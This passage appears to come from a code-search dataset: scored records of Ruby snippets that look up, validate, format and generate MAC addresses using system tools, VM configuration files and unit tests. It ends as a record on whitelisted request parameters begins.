"081c8118673cdcc22487418d7019a3d0", "score": "0.67386967", "text": "def node_mac(name)\n %x{grep 'mac address' /etc/libvirt/qemu/#{name}.xml 2>/dev/null}.match(/((..:){5}..)/).to_s\nend", "title": "" }, { "docid": "390b5cab25ca610ac7736fadb11f474d", "score": "0.67030823", "text": "def mac_address\n @mac_address ||= raw_data[22..27].join(':')\n end", "title": "" }, { "docid": "89b44f3f4fdee6e78cad03900945653e", "score": "0.66723835", "text": "def is_addr(s)\n s.match(/^[0-9a-fA-F]+:$/) != nil\nend", "title": "" }, { "docid": "60d052181079793f8f8e8ae8da39cf28", "score": "0.66718453", "text": "def not_a_mac\n if mac?\n return false\n else\n puts I18n.t(:mac_only)\n return true\n end\n end", "title": "" }, { "docid": "7610cd6b0dd5011b3e1807576839d710", "score": "0.6589661", "text": "def true_mac_address\n super\n end", "title": "" }, { "docid": "7610cd6b0dd5011b3e1807576839d710", "score": "0.6589661", "text": "def true_mac_address\n super\n end", "title": "" }, { "docid": "8daa9ab976ce14eb2b607a0b6740c68a", "score": "0.65327334", "text": "def has_euca_mac?\n network[:interfaces].each_value do |iface|\n mac = get_mac_address(iface[:addresses])\n if MAC_MATCH.match?(mac)\n logger.trace(\"Plugin Eucalyptus: has_euca_mac? == true (#{mac})\")\n return true\n end\n end\n\n logger.trace(\"Plugin Eucalyptus: has_euca_mac? == false\")\n false\n end", "title": "" }, { "docid": "92dbef5632ded36d55c488303829dcde", "score": "0.6468279", "text": "def mac_address\n mac = nil\n\n ovf.xpath(\"//*[local-name()='Machine']/*[local-name()='Hardware']/*[local-name()='Network']/*[local-name()='Adapter']\").each do |net|\n if net.attribute(\"enabled\").value == \"true\"\n mac = net.attribute(\"MACAddress\").value\n break\n end\n end\n\n if mac\n return mac\n else\n fail Errors::BoxAttributeError, error_message: 'Could not determine mac address'\n end\n end", "title": "" }, { "docid": "3c4e69e3634fd952d1df6b91af9f1b4a", "score": "0.6408954", "text": "def mac_masquerade_address\n super\n end", "title": "" }, { "docid": "3c4e69e3634fd952d1df6b91af9f1b4a", "score": "0.6408954", "text": "def mac_masquerade_address\n super\n end", "title": "" }, { "docid": "b4a23d248a16413f694e811a4120b079", "score": "0.6406037", "text": "def mac_address\n if NicView.empty_mac?(self[\"CurrentMACAddress\"])\n self[\"PermanentMACAddress\"]\n elsif self[\"PermanentMACAddress\"]\n self[\"CurrentMACAddress\"]\n end\n end", "title": "" }, { "docid": "42b7baa288edf076f79a7e51834b1749", "score": "0.6399985", "text": "def mac_address(prefix: T.unsafe(nil)); end", "title": "" }, { "docid": "7c46fb6f3e0c16aea863a7a6ad504141", "score": "0.6395954", "text": "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "title": "" }, { "docid": "7c46fb6f3e0c16aea863a7a6ad504141", "score": "0.6395954", "text": "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "title": "" }, { "docid": "d10c118bae47c3f67acef001526dfaa8", "score": "0.6375381", "text": "def cross_check_mac_address_with_ouis\n oui = self.mac_address.to_s.upcase.gsub(/[^A-F0-9]/,'')[0,6]\n if Oui.where(:value => oui).first == nil or Oui.where(:value => oui).first.manufacturer != self.phone_model.manufacturer\n errors.add( :mac_address, \"The given mac address doesn't match to the OUIs of the manufacturer #{self.phone_model.manufacturer.name}.\" )\n end\n end", "title": "" }, { "docid": "114e4e53655c153133187839d573de1e", "score": "0.6364423", "text": "def read_mac_address\n execute(\"showvminfo\", @uuid, \"--machinereadable\").split(\"\\n\").each do |line|\n return $1.to_s if line =~ /^macaddress1=\"(.+?)\"$/\n end\n\n nil\n end", "title": "" }, { "docid": "439bc54785dbdcad707794cf173d1c1a", "score": "0.635236", "text": "def mac_address\n super\n end", "title": "" }, { "docid": "05a5f766816464e26aa05b223822a8a5", "score": "0.63396055", "text": "def mac?(req)\n user_agent_match(req, /(Macintosh)/)\n end", "title": "" }, { "docid": "2271aaa9cd98ce5da3bb82003d3782dd", "score": "0.6337504", "text": "def mac?\n Config::CONFIG[\"host_os\"] =~ /darwin/i ? true : false\n end", "title": "" }, { "docid": "187adb6aeb697c321eae9df977c52a64", "score": "0.6330089", "text": "def read_mac_address\n end", "title": "" }, { "docid": "149038565121de12f83b9853d2a69db8", "score": "0.6318921", "text": "def get_mac_address(addresses)\n detected_addresses = addresses.detect { |address, keypair| keypair == { \"family\" => \"lladdr\" } }\n if detected_addresses\n detected_addresses.first\n else\n \"\"\n end\n end", "title": "" }, { "docid": "d7497a1899537abac9ef9b0fead49f70", "score": "0.631303", "text": "def has_ec2_arp?\n mac_address = \"fe:ff:ff:ff:ff:ff\"\n if Facter.value(:kernel) == 'windows'\n arp_command = \"arp -a\"\n mac_address.gsub!(\":\",\"-\")\n else\n arp_command = \"arp -an\"\n end\n\n arp_table = Facter::Util::Resolution.exec(arp_command)\n if not arp_table.nil?\n arp_table.each_line do |line|\n return true if line.downcase.include?(mac_address)\n end\n end\n return false\n end", "title": "" }, { "docid": "6b6298d9d4a4349f04ca7b982d3e801a", "score": "0.62979263", "text": "def ipv6_address?(addr)\n return true if addr =~ /:/\n return false\n end", "title": "" }, { "docid": "574650350ec5457af99fabcf3b5712ec", "score": "0.6253093", "text": "def mac?\n !!(ua =~ /Mac OS X/ && !ios?)\n end", "title": "" }, { "docid": "2969d4aeae2df7e7c54b85fa7ee850ea", "score": "0.6249475", "text": "def Check6(ip)\n return false if ip == nil || ip == \"\"\n\n #string num = \"([1-9a-fA-F][0-9a-fA-F]*|0)\";\n num = \"([0-9a-fA-F]{1,4})\"\n\n # 1:2:3:4:5:6:7:8\n if Builtins.regexpmatch(\n ip,\n Ops.add(Ops.add(Ops.add(Ops.add(\"^\", num), \"(:\"), num), \"){7}$\")\n )\n return true\n end\n # ::3:4:5:6:7:8\n if Builtins.regexpmatch(ip, Ops.add(Ops.add(\"^:(:\", num), \"){1,6}$\"))\n return true\n end\n # 1:2:3:4:5:6::\n if Builtins.regexpmatch(ip, Ops.add(Ops.add(\"^(\", num), \":){1,6}:$\"))\n return true\n end\n # :: only once\n return false if Builtins.regexpmatch(ip, \"::.*::\")\n # : max 7x\n return false if Builtins.regexpmatch(ip, \"^([^:]*:){8,}\")\n # 1:2:3::5:6:7:8\n # 1:2:3:4:5:6::8\n if Builtins.regexpmatch(\n ip,\n Ops.add(\n Ops.add(Ops.add(Ops.add(\"^(\", num), \":){1,6}(:\"), num),\n \"){1,6}$\"\n )\n )\n return true\n end\n\n false\n end", "title": "" }, { "docid": "73da4538527502a444264fdd26df059f", "score": "0.6248501", "text": "def mac?\n @mac ||= is? /mac|darwin/\n end", "title": "" }, { "docid": "9f00687f1019886ebae6538305f4c986", "score": "0.62449", "text": "def arp_src_mac; self[:arp_src_mac].to_s; end", "title": "" }, { "docid": "2e3b6e44f4742e0f6a31e0441c784871", "score": "0.6225609", "text": "def mac_address\n mac = nil\n\n ovf.elements.each(\"//vbox:Machine/Hardware//Adapter\") do |ele|\n if ele.attributes['enabled'] == 'true'\n mac = ele.attributes['MACAddress']\n break\n end\n end\n\n if mac\n return mac\n else\n raise Errors::BoxAttributeError, :error_message => 'Could not determine mac address'\n end\n end", "title": "" }, { "docid": "8575de8eaf0556366345c4463159cd3d", "score": "0.6213681", "text": "def get_mac_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /HWaddr ([A-Z0-9:]+)/)\n end\n end\n return nil\nend", "title": "" }, { "docid": "0c012b336c07862dcc44cc29d7f8c505", "score": "0.61930525", "text": "def dell_mac_addresses\n macs = []\n result = run_command([\"delloem\", \"mac\"])\n result.each_line do |line|\n data = line.split(' ')\n if data[0].to_i.to_s == data[0].to_s\n macs << mac = {:index => data[0], :address => data[1]}\n unless data[2].blank?\n mac[:enabled] = data[2] == 'Enabled'\n else\n mac[:enabled] = true\n end\n end\n end\n macs\n end", "title": "" }, { "docid": "642fad117197255dc909e7a3d8f8e236", "score": "0.61884975", "text": "def mac\n @mac || REXML::XPath.first(@definition, \"//domain/devices/interface/mac/@address\").value\n end", "title": "" }, { "docid": "5e3f9670df969b1be442bee527750ac1", "score": "0.61646646", "text": "def read_mac_address\n hw_info = read_settings.fetch('Hardware', {})\n shared_ifaces = hw_info.select do |name, params|\n name.start_with?('net') && params['type'] == 'shared'\n end\n\n raise Errors::SharedInterfaceNotFound if shared_ifaces.empty?\n\n shared_ifaces.values.first.fetch('mac', nil)\n end", "title": "" }, { "docid": "13e0d5ce36707b950fc2d897642820c2", "score": "0.61513495", "text": "def mac\n @attributes.fetch('mac', nil)\n end", "title": "" }, { "docid": "6393ee4b8635c3292c5cda4fbe4e9b13", "score": "0.6143799", "text": "def read_mac_addresses\n read_vm_option('mac').strip.gsub(':', '').split(' ')\n end", "title": "" }, { "docid": "fe4c834632152098693067e710a6aa52", "score": "0.61275417", "text": "def hex_address_unique?(hex_address)\n return false if hex_address == '0000'\n return false if hex_address == 'ffff'\n if Chef::Config[:solo]\n Chef::Log.warn('Running solo, cannot check address uniqueness')\n return true\n else\n return search(:node, \"tinc_hex_address:#{ha}\").empty?\n end\nend", "title": "" }, { "docid": "346f2b574cee83adfa36da773e7bc758", "score": "0.61134815", "text": "def cross_check_mac_address_with_ouis\n\t\toui_str = self.mac_address.to_s().upcase().gsub( /[^A-F0-9]/, '' )[0,6]\n\t\toui_obj = Oui.where( :value => oui_str ).first\n\t\tif oui_obj == nil \\\n\t\t|| (self.phone_model && self.phone_model.try(:manufacturer) != oui_obj.manufacturer)\n\t\t\terrors.add( :mac_address, I18n.t(:mac_address_not_matching_oui, :manufacturer => self.phone_model.try(:manufacturer).try(:name) ))\n\t\tend\n\tend", "title": "" }, { "docid": "1942aab567ae19846c9f62af66f23f9c", "score": "0.61018956", "text": "def address\n return @mac_address if defined? @mac_address and @mac_address\n re = %r/[^:\\-](?:[0-9A-F][0-9A-F][:\\-]){5}[0-9A-F][0-9A-F][^:\\-]/io\n cmds = '/sbin/ifconfig', '/bin/ifconfig', 'ifconfig', 'ipconfig /all', 'cat /sys/class/net/*/address'\n\n null = test(?e, '/dev/null') ? '/dev/null' : 'NUL'\n\n output = nil\n cmds.each do |cmd|\n begin\n r, w = IO.pipe\n ::Process.waitpid(spawn(cmd, :out => w))\n w.close\n stdout = r.read\n next unless stdout and stdout.size > 0\n output = stdout and break\n rescue\n # go to next command!\n end\n end\n raise \"all of #{ cmds.join ' ' } failed\" unless output\n\n @mac_address = parse(output)\n end", "title": "" }, { "docid": "6c6f10f9092bacc6e9477658fa3fe759", "score": "0.61005735", "text": "def mac_mri?; end", "title": "" }, { "docid": "08dd3696726b0d8699c9714c1de90048", "score": "0.6100014", "text": "def check_fusion_vm_mac(options)\n if options['mac'].gsub(/:/,\"\").match(/^08/)\n handle_output(options,\"Warning:\\tInvalid MAC address: #{options['mac']}\")\n options['vm'] = \"fusion\"\n options['mac'] = generate_mac_address(options['vm'])\n handle_output(options,\"Information:\\tGenerated new MAC address: #{options['mac']}\")\n end\n return options['mac']\nend", "title": "" }, { "docid": "62365366615d337ce8fab7c5aac85adf", "score": "0.6097451", "text": "def mac_address\n unless @mac\n octets = 3.times.map { rand(255).to_s(16) }\n @mac = \"525400#{octets[0]}#{octets[1]}#{octets[2]}\"\n end\n @mac\n end", "title": "" }, { "docid": "a73d7fd41175f0f1d078a115ea1f63fd", "score": "0.6084422", "text": "def ip_by_mac(mac)\n %x{arp -a | grep #{mac}}.split(' ')[1].to_s.sub('(', '').sub(')', '')\nend", "title": "" }, { "docid": "b44684ff11a63b1b30286b97ca930031", "score": "0.60812116", "text": "def test_gen_mac_unicast_locally_administered\n mac = RFauxFactory.gen_mac(multicast: false, locally: true)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 2\n end", "title": "" }, { "docid": "05595041b510db50cc9f4b3edf5e8122", "score": "0.6081201", "text": "def getMAC\n tmpmac = \"\"\n if Stage.initial\n tmpmac = Convert.to_string(SCR.Read(path(\".etc.install_inf.HWAddr\")))\n end\n cleanmac = Builtins.deletechars(tmpmac != nil ? tmpmac : \"\", \":\")\n cleanmac\n end", "title": "" }, { "docid": "18937a858598628215f7d4ed40ffe589", "score": "0.60505223", "text": "def usable\n if ipv6?\n space\n else\n space - 2\n end\n end", "title": "" }, { "docid": "edbc730c301c2d0fbd9b99e28a9d86a5", "score": "0.6032264", "text": "def mac\n config[\"mac\"]\n end", "title": "" }, { "docid": "4151015bacdb5540237a4ac4fbb0dcd0", "score": "0.6012303", "text": "def macify\n split(\":\").map {|a| a[0].chr == \"0\" ? a[1].chr : a}.join(\":\")\n end", "title": "" }, { "docid": "466bb5565b52fd3eb98fe77ba0aab349", "score": "0.5994865", "text": "def test_gen_mac_unicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: false, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 0\n end", "title": "" }, { "docid": "7e5d6c9ea36d7ead08b6c07b00b3c1ba", "score": "0.597864", "text": "def management_ip_dhcp_configured?\n !!running_config.match(%r{interface ManagementEthernet \\d+/\\d+.*?\\s+ip address\\s+dhcp})\n end", "title": "" }, { "docid": "4a8cef5ebcb4b8536b57d1edc095dc0a", "score": "0.59636146", "text": "def mac\n options[:mac]\n end", "title": "" }, { "docid": "3a0683061c155636c62a2c308e1c3208", "score": "0.5955904", "text": "def legal?(string)\n /\\A\\h{24}\\Z/ === string.to_s\n end", "title": "" }, { "docid": "bcba54d0ad8c98b46b9299db0ab9712d", "score": "0.59527755", "text": "def empirical_mac(entry)\n ping = Mixlib::ShellOut.new('ping', entry[:ip_address], '-c', '1')\n ping.run_command\n unless ping.status.success?\n puts \"Ping to #{entry[:hostname]} (#{entry[:ip_address]}) failed, \" \\\n 'checking ARP anyway.'\n end\n\n arp = Mixlib::ShellOut.new('arp', '-an')\n arp.run_command\n arp_entry = arp.stdout.split(\"\\n\")\n .map(&:chomp)\n .select { |l| l.include?(entry[:ip_address]) }\n .first\n match_data =\n /(\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w) .ether./.match(arp_entry.to_s)\n if !match_data.nil? && match_data.captures.count == 1\n mac = match_data[1]\n puts \"Found #{mac} for #{entry[:hostname]} (#{entry[:ip_address]})\"\n mac\n else\n raise 'Could not find ARP entry for ' \\\n \"#{entry[:hostname]} (#{entry[:ip_address]})!\"\n end\n end", "title": "" }, { "docid": "522081c23e6e312f27bdb3324eab6554", "score": "0.59479517", "text": "def valid?(mac, url)\n Net::HTTP.get_response(URI.parse(url + mac)).code == '200'\nend", "title": "" }, { "docid": "3b902d709dbca8df9a89707d20010b2a", "score": "0.5947511", "text": "def address\n @mac_address ||= addresses.first\n end", "title": "" }, { "docid": "2176ac123ff411010903d3223d289f67", "score": "0.5932815", "text": "def looks_like_rackspace? \n has_rackspace_mac?\nend", "title": "" }, { "docid": "bb8afb4af347bfd4a5882fc5cfcb0190", "score": "0.5917748", "text": "def arp_dest_mac; self[:arp_dest_mac].to_s; end", "title": "" }, { "docid": "d8a9d8a1f24c7474b251abefe4092c5a", "score": "0.5915249", "text": "def test_gen_mac_multicast_locally_administered\n mac = RFauxFactory.gen_mac(multicast: true, locally: true)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 3\n end", "title": "" }, { "docid": "74f4a25e12a442fe45564808438d7f5d", "score": "0.58365846", "text": "def base_mac_address\n super\n end", "title": "" }, { "docid": "2c6233cc0c40a3b48d96ee37fef39a5f", "score": "0.5814372", "text": "def mac?\n kind_of? Mac::Platform rescue false\n end", "title": "" }, { "docid": "e101d449514a434cf547f23b565c5bc4", "score": "0.5813193", "text": "def format_mac_address\n self.mac_address = self.mac_address.to_s.upcase.gsub(/[^A-F0-9]/,'')\n end", "title": "" }, { "docid": "8a936fdc1a3967a3c92522bec2780d0b", "score": "0.5808958", "text": "def ip\n arp = Cheetah.run([\"arp\", \"-n\"], stdout: :capture)\n entry = arp.lines.find { |a| a.include?(mac) }\n return nil if entry.nil?\n entry.split(\" \")[0]\n end", "title": "" }, { "docid": "dd5e9900fdf7a9c248604359abb2defa", "score": "0.58048445", "text": "def dev_addr(mac, family='lladdr')\n interface_node = node['network']['interfaces']\n addr = mac.downcase\n interface_node.select do |dev, data|\n data['addresses'].select do |id, prop|\n\treturn dev if id.downcase == addr && prop['family'] == family\n end\n end\n return nil\n end", "title": "" }, { "docid": "807c331aea57d3c777d693ad5fc327d9", "score": "0.5790315", "text": "def get_macaddr\n currentEth = currentAddr = nil; macaddrs = {}\n `ifconfig`.split(\"\\n\").map! do |line|\n maybeEth = line.match(/([a-z]+[0-9]+): .*/)\n currentEth = maybeEth[1].strip if !maybeEth.nil?\n maybeAddr = line.match(/ether ([0-9 A-Ea-e \\:]+)/)\n currentAddr = maybeAddr[1].strip if !maybeAddr.nil?\n if currentEth != nil && currentAddr != nil\n macaddrs[currentEth] = currentAddr\n currentEth = currentAddr = nil\n end\n end\n macaddrs\nend", "title": "" }, { "docid": "b7e17f0148f2508fcbe0170f9bf74735", "score": "0.5760198", "text": "def is_hostname?\n ip = Rex::Socket.addr_atoi( @dest_ip )\n if( ip & 0xFFFFFF00 == 0x00000000 )\n return true if( ip & 0x000000FF != 0x00 )\n end\n return false\n end", "title": "" }, { "docid": "54ab46284fd9f1d34b3738ce87f051eb", "score": "0.5753966", "text": "def lookup_in_ethers(input)\n if File.exist?(@ethers) and File.readable?(@ethers)\n File.open(@ethers,'r') do |f|\n f.each_line do |line|\n next if line.match(/^#/)\n next if line.match(/^\\s$/)\n mac, host = line.chomp.split\n if /^#{input}$/.match(host)\n return mac\n end\n end\n end\n return nil\n end\n end", "title": "" }, { "docid": "97231b5486b5191757d032f9f41d7ab5", "score": "0.57511884", "text": "def arp_src_mac= i; typecast \"arp_src_mac\", i; end", "title": "" }, { "docid": "72db730b26d62f27e2480dba0d836ecf", "score": "0.5729095", "text": "def read_mac_address\n execute(:get_network_mac, VmId: vm_id)\n end", "title": "" }, { "docid": "dd4e774d843e452452032c2c98c83418", "score": "0.5726177", "text": "def get_mac_for_interface(interfaces, interface)\n interfaces[interface][:addresses].find { |k, v| v[\"family\"] == \"lladdr\" }.first unless interfaces[interface][:addresses].nil? || interfaces[interface][:flags].include?(\"NOARP\")\n end", "title": "" }, { "docid": "ea784edb79f532e221d894ac52f0f45c", "score": "0.5713", "text": "def mac_address\n raise ::Fission::Error,\"VM #{@name} does not exist\" unless self.exists?\n\n line=File.new(vmx_path).grep(/^ethernet0.generatedAddress =/)\n if line.nil?\n #Fission.ui.output \"Hmm, the vmx file #{vmx_path} does not contain a generated mac address \"\n return nil\n end\n address=line.first.split(\"=\")[1].strip.split(/\\\"/)[1]\n return address\n end", "title": "" }, { "docid": "dea9ed0923310c0ecd902f4867e10aa3", "score": "0.5707914", "text": "def test_robot_has_a_mac_address\n assert described_class.new.mac_address\n end", "title": "" }, { "docid": "0bf0c110aaddc60be0d9228a1c0ddec8", "score": "0.5683206", "text": "def test_robot_mac_addresses_is_IEEE_802_standard\n subject = described_class.new\n assert_match(/[A-Z0-9][A-Z0-9]:[A-Z0-9][A-Z0-9]:[A-Z0-9][A-Z0-9]:[A-Z0-9][A-Z0-9]:[A-Z0-9][A-Z0-9]:[A-Z0-9][A-Z0-9]/,\n subject.mac_address)\n end", "title": "" }, { "docid": "9b29b3ffb5ae7d98261bcc354e8be7a3", "score": "0.5677715", "text": "def has_ipv6_ip_address?\n self.options[:ip].is_a?(String) && self.options[:ip].include?(':')\n end", "title": "" }, { "docid": "68b6ba88fa37b121d23a96925375e793", "score": "0.56638587", "text": "def test_gen_mac_multicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: true, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 1\n end", "title": "" }, { "docid": "7f7f32ccc958a709b09bb77a089dccf6", "score": "0.5641146", "text": "def format_mac_address\n\t\tself.mac_address = self.mac_address.to_s().upcase().gsub( /[^A-F0-9]/, '' )\n\tend", "title": "" }, { "docid": "ea9711643e3f0bda12ce6c88b5ab9c85", "score": "0.56169385", "text": "def mac? ; RUBY_PLATFORM =~ /.*(sal|86).*-darwin1/i end", "title": "" }, { "docid": "2654bbdb794239a1fe9c1d6a1ed58d7f", "score": "0.5608646", "text": "def has_address(interface)\n ip = Facter::Util::IP.get_interface_value(interface, 'ipaddress')\n if ip.nil?\n false\n else\n true\n end\nend", "title": "" }, { "docid": "87c2303dfccc7c0b86059a347d87e370", "score": "0.56011814", "text": "def generate_mac\n if locate_config_value(:macaddress).nil?\n ('%02x' % (rand(64) * 4 | 2)) + (0..4).reduce('') { |s, _x|s + ':%02x' % rand(256) }\n else\n locate_config_value(:macaddress)\n end\n end", "title": "" }, { "docid": "fd776ddf719bea769008b305ba0d5df5", "score": "0.559989", "text": "def resolve_to_mac(input)\n if valid_mac?(input)\n return input\n end\n lookup_in_ethers(input)\n end", "title": "" }, { "docid": "547e22e2820c885d746d9410cfa8be96", "score": "0.556615", "text": "def multicast_mac(options=nil)\n known_args = [:Objectify]\n objectify = false\n\n if (options)\n if (!options.kind_of? Hash)\n raise ArgumentError, \"Expected Hash, but #{options.class} provided.\"\n end\n NetAddr.validate_args(options.keys,known_args)\n\n if (options.has_key?(:Objectify) && options[:Objectify] == true)\n objectify = true\n end\n end\n\n if (@version == 4)\n if (@ip & 0xf0000000 == 0xe0000000)\n # map low order 23-bits of ip to 01:00:5e:00:00:00\n mac = @ip & 0x007fffff | 0x01005e000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv4 multicast \" +\n \"addresses should be in the range 224.0.0.0/4.\"\n end\n else\n if (@ip & (0xff << 120) == 0xff << 120)\n # map low order 32-bits of ip to 33:33:00:00:00:00\n mac = @ip & (2**32-1) | 0x333300000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv6 multicast \" +\n \"addresses should be in the range ff00::/8.\"\n end\n end\n\n eui = NetAddr::EUI48.new(mac)\n eui = eui.address if (!objectify)\n\n return(eui)\n end", "title": "" }, { "docid": "03c852c892a4ef38a62fd374afb03b1e", "score": "0.5558479", "text": "def mac?\n (/darwin/ =~ RUBY_PLATFORM) != nil\n end", "title": "" }, { "docid": "ffc245461fa55d8810aec7674d13297c", "score": "0.5556855", "text": "def arp_saddr_mac\n\t\tEthHeader.str2mac(self[:arp_src_mac].to_s)\n\tend", "title": "" }, { "docid": "9dc83898859cd5a0cc18d2bd37b85386", "score": "0.55495054", "text": "def is_hexword(s)\n s.match(/^[0-9a-fA-F]{8}$/) != nil\nend", "title": "" }, { "docid": "dbfcf1f76d8ffcd87aa78cde21f95689", "score": "0.55470425", "text": "def mac_for_instance(num=nil)\n num = next_instance_to_start if num.nil?\n num = num.to_i if num.is_a?(String) and num =~ /^\\d+$/\n if !num.is_a? Fixnum or num < 0 or num > 255 \n raise TypeError, _('Argument must be an integer between 0 and 255')\n end\n offset = sprintf('%02x', num)\n mac = mac_base_addr.gsub(/00$/, offset)\n\n mac\n end", "title": "" }, { "docid": "91efbe3fc73295655ac4cc89b1d56c5f", "score": "0.5544023", "text": "def mac_addresses\n network_response = network_info\n return network_response unless network_response.successful?\n\n response = Response.new :code => 0\n response.data = network_response.data.values.collect { |n| n['mac_address'] }\n\n response\n end", "title": "" }, { "docid": "91efbe3fc73295655ac4cc89b1d56c5f", "score": "0.5544023", "text": "def mac_addresses\n network_response = network_info\n return network_response unless network_response.successful?\n\n response = Response.new :code => 0\n response.data = network_response.data.values.collect { |n| n['mac_address'] }\n\n response\n end", "title": "" }, { "docid": "d7ab9c659a7d0cf22c3b55b05d01000c", "score": "0.5535256", "text": "def lookup(mac, opts = {})\n lapsed!\n data = prefix_table[Address.new(mac).prefix]\n if data.nil?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for MAC: #{mac}\") : (return nil)\n end\n Address.new(mac, data)\n end", "title": "" }, { "docid": "cf5ceb36980fd6b11d1605f2d740ec6d", "score": "0.5518312", "text": "def ceph_chef_ip4_address_in_network?(ip, params, net)\n net.contains?(ip) && params.key?('broadcast')\nend", "title": "" } ]
a2099a77c85e91272ae2f9e35b937953
Only allow a trusted parameter "white list" through.
[ { "docid": "542025a3e4604d039e3a2b47badddb50", "score": "0.0", "text": "def horario_params\n params.require(:horario).permit(:dia, :codigo_curso, :curso_asignatura, :nombre_asignatura, :periodo_id)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7943618", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.69572574", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.6887521", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.67666084", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6733912", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.671326", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6705381", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.66612333", "text": "def filtered_parameters; end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.66164786", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.66156906", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.65888846", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6575757", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6572969", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.6572365", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "f5e3a87909b3e5022047b4b0a64ca154", "score": "0.65321475", "text": "def parameter_params\n params.require(:parameter).permit(:name, :code, :description, :user_id, :value, :cargapp_model_id, :active)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.65129966", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "58d1451e57b0e767db2fc6721dfaa6be", "score": "0.65128386", "text": "def allowed_parameters\n parameters.keys\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.64990044", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "52d4c66cc205503f7ad6a4feaedab9b8", "score": "0.6491305", "text": "def parameter_params\n params.require(:parameter).permit(:name, :value, :description)\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.6489574", "text": "def need_params\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.6476191", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "e64490ed35123aafa1b4627bd165517d", "score": "0.645836", "text": "def allowed_params\n [:title, :description, :is_template, :template_id, :user_id, :color]\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.64389294", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6431918", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.642512", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.6420569", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.6420569", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63804525", "text": "def filter_parameters; end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.63736504", "text": "def white_listed_parameters\n params\n .require(:movie)\n 